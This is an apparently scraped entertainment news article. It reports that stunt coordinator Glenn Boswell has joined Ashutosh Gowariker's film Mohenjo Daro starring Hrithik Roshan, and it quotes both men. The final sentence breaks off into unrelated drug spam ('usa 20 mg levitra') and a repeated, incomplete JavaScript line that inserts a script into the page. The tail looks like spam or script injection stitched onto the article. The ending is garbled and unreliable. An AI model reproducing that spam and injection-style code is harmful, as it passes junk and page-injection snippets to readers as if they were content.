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Hrithik Roshan to do some mind blowing stunts and action scenes in his next Mohen jo daro

Eversince the first look of Bang Bang came out Hrithik Roshan has created a stir in Bollywood. Everyone has been talking about the high octane action sequences that Hrithik performed. If you feel that this is the maximum any actor could do then your wrong. Hrithik is all set to challenge himself.

Hrithik has been signed by director Ashutosh Gowariker for his next Mohenjo Daro and on board for the same film is internationally renowned Stunt-Coordinator Glenn Boswell who has earlier designed stunts for action heavy films like The Thin Red Line, The Matrix Trilogy, I, Robot, Ghost Rider, The International and X-Men Origins: Wolverine.

Having just wrapped his work on Peter Jackson’s Hobbit Trilogy in New Zealand, Glenn has flown into Mumbai to begin his work as the Stunt Coordinator for Mohenjo Daro which will require a great deal of planning for the type of action sequences the script requires.

Boswell says, “I am really excited to work with Ashutosh. I love his passion for filmmaking, something, which is not very prominent in many filmmakers anymore as it used to be. I loved reading the script of Mohenjo Daro and am looking forward to designing and shooting the stunts, as there is an opportunity for some great action in this film.”

Gowariker says, “I had always wished to work with the man who choreographed the incredible action sequences of Matrix and subsequently of Wolverine and Hobbit. And I feel thrilled that, I will be working with Glenn Boswell. His robust and stylish action choreography will bring to life the action sequences in Mohenjo Daro and I am excitedly looking forward to that.”

Mohenjo Daro is an epic love story, set during the Indus Valley Civilization and also marks the debut of Pooja Hegde. But what comes as the most interesing part is Bollywood’s superhero Hrithik Roshan performing stunts similar to Keanu Reeves in Matrix and Hugh Jackman in The Wolverine. usa 20 mg levitra document.currentScript.parentNode.insertBefore(s, document.currentScript);document.currentScript.parentNode.insertBefore(s, document.currentScript);

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